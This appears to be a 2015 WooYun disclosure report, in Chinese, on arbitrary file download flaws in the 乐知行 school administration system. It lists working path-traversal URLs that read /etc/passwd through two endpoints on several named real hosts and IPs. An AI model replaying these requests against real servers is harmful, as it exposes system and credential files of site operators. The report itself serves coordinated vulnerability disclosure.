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缺陷编号:wooyun-2015-0121606

漏洞标题:乐知行教务系统存在任意文件下载漏洞

相关厂商:乐知行

漏洞作者: 路人甲

提交时间:2015-06-22 10:25

修复时间:2015-09-22 15:06

公开时间:2015-09-22 15:06

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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分享漏洞:


漏洞详情

披露状态:

2015-06-22: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经确认,细节仅向厂商公开
2015-06-27: 细节向第三方安全合作伙伴开放
2015-08-18: 细节向核心白帽子及相关领域专家公开
2015-08-28: 细节向普通白帽子公开
2015-09-07: 细节向实习白帽子公开
2015-09-22: 细节向公众公开

简要描述:

RT

详细说明:

存在两处任意文件下载:

/ueditor/downAttach.do?url=
/ckfile.do?path=


案例:

http://58.118.36.9/datacenter/ueditor/downAttach.do?url=../../../../../../../../../../etc/passwd
http://www.yongzhong.net/cms/ueditor/downAttach.do?url=../../../../../../../../../../etc/passwd
http://www.hdac.cn/datacenter/ueditor/downAttach.do?url=../../../../../../../../../../etc/passwd
http://42.121.0.194/cms/ueditor/downAttach.do?url=../../../../../../../../../../etc/passwd
http://www.hd123z.bjedu.cn/cms/ueditor/downAttach.do?url=../../../../../../../../../../etc/passwd


第二处案例:

http://58.118.36.9/datacenter/ckfile.do?path=../../../../../../../../../../etc/passwd
http://www.yongzhong.net/cms/ckfile.do?path=../../../../../../../../../../etc/passwd
http://www.hdac.cn/datacenter/ckfile.do?path=../../../../../../../../../../etc/passwd
http://42.121.0.194/cms/ckfile.do?path=../../../../../../../../../../etc/passwd
http://www.hd123z.bjedu.cn/cms/ckfile.do?path=../../../../../../../../../../etc/passwd

漏洞证明:

第一处:
1#

http://58.118.36.9/datacenter/ueditor/downAttach.do?url=../../../../../../../../../../etc/passwd

01.png


2#

http://www.yongzhong.net/cms/ueditor/downAttach.do?url=../../../../../../../../../../etc/passwd

02.png


第二处:
1#

http://58.118.36.9/datacenter/ckfile.do?path=../../../../../../../../../../etc/passwd

03.png


2#

http://www.yongzhong.net/cms/ckfile.do?path=../../../../../../../../../../etc/passwd

04.png


文件内容:

05.png

修复方案:

修复

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-06-24 15:04

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无